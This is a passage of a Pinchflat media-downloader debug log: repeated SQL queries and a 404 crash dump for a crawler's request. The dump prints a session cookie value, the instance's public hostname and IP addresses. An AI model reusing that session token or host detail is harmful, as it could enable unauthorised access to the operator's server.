count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 02:10:11.124 [debug] QUERY OK source="settings" db=0.3ms idle=478.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:11.124 [debug] QUERY OK source="settings" db=0.2ms idle=479.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:11.125 [debug] QUERY OK source="settings" db=0.2ms idle=479.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:11.127 [info] Sent 200 in 5ms 02:10:13.646 [info] GET /sources 02:10:13.646 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 02:10:13.647 [debug] QUERY OK source="settings" db=0.4ms idle=1001.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.648 [debug] QUERY OK source="settings" db=0.2ms idle=1002.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.649 [debug] QUERY OK source="settings" db=0.4ms idle=1003.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.650 [debug] QUERY OK source="settings" db=0.2ms idle=1004.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.650 [debug] QUERY OK source="settings" db=0.2ms idle=573.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.654 [debug] QUERY OK source="sources" db=2.6ms idle=3.9ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 02:10:13.666 [debug] QUERY OK source="sources" db=11.2ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 02:10:13.670 [info] Sent 200 in 24ms 02:10:17.951 [info] GET /sources/4 02:10:17.952 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "4"} Pipelines: [:browser] 02:10:17.952 [debug] QUERY OK source="sources" db=0.3ms idle=868.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:10:17.953 [debug] QUERY OK source="media_profiles" db=0.3ms idle=307.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:10:17.954 [debug] QUERY OK source="tasks" db=0.4ms idle=308.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [4, "executing", "available", "scheduled", "retryable"] 02:10:17.955 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=309.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2633] 02:10:17.956 [debug] QUERY OK source="settings" db=0.3ms idle=310.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.956 [debug] QUERY OK source="settings" db=0.4ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.957 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.960 [debug] QUERY OK source="sources" db=0.4ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:10:17.962 [debug] QUERY OK source="media_items" db=0.8ms idle=6.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 02:10:17.964 [debug] QUERY OK source="media_items" db=1.8ms queue=0.2ms idle=6.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 02:10:17.965 [debug] QUERY OK source="sources" db=0.3ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:10:17.966 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [4] 02:10:17.967 [debug] QUERY OK source="media_items" db=0.5ms idle=5.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 02:10:17.969 [debug] QUERY OK source="sources" db=0.3ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:10:17.970 [debug] QUERY OK source="media_items" db=0.4ms idle=4.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [4] 02:10:17.972 [debug] QUERY OK source="media_items" db=1.6ms idle=4.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 02:10:17.973 [info] Sent 200 in 22ms 02:10:20.086 [info] GET /settings 02:10:20.087 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 02:10:20.088 [debug] QUERY OK source="settings" db=0.4ms idle=999.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.088 [debug] QUERY OK source="settings" db=0.3ms idle=443.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.089 [debug] QUERY OK source="settings" db=0.5ms idle=443.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.090 [debug] QUERY OK source="settings" db=0.2ms idle=445.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.093 [info] Sent 200 in 6ms 02:10:23.657 [info] GET /sources/4/media/99281/force_download 02:10:23.657 [debug] QUERY OK source="settings" db=0.2ms idle=561.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.658 [debug] QUERY OK source="settings" db=0.1ms idle=12.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.658 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:23.658 [error] #PID<0.263706.0> running PinchflatWeb.Endpoint (connection #PID<0.263697.0>, stream id 8) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/4/media/99281/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/media/99281/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263697.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/99281/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 37350}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYX1RPMTc2c0dHOHdqblRVNmd5bVVpQkhG.nIRfk2l8w-0axH3IeTXYxyqs3EYnF8o0iZLC19pMNAA", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 8, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYX1RPMTc2c0dHOHdqblRVNmd5bVVpQkhG.nIRfk2l8w-0axH3IeTXYxyqs3EYnF8o0iZLC19pMNAA" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263706.0>, params: %{}, path_info: ["sources", "4", "media", "99281", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYX1RPMTc2c0dHOHdqblRVNmd5bVVpQkhG.nIRfk2l8w-0axH3IeTXYxyqs3EYnF8o0iZLC19pMNAA" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYX1RPMTc2c0dHOHdqblRVNmd5bVVpQkhG.nIRfk2l8w-0axH3IeTXYxyqs3EYnF8o0iZLC19pMNAA"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/4/media/99281/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEJ6KHGqwJ_IUcAMWMC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263697.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/99281/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 37350}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYX1RPMTc2c0dHOHdqblRVNmd5bVVpQkhG.nIRfk2l8w-0axH3IeTXYxyqs3EYnF8o0iZLC19pMNAA", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 8, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/media/99281/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263697.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/99281/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 37350}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => 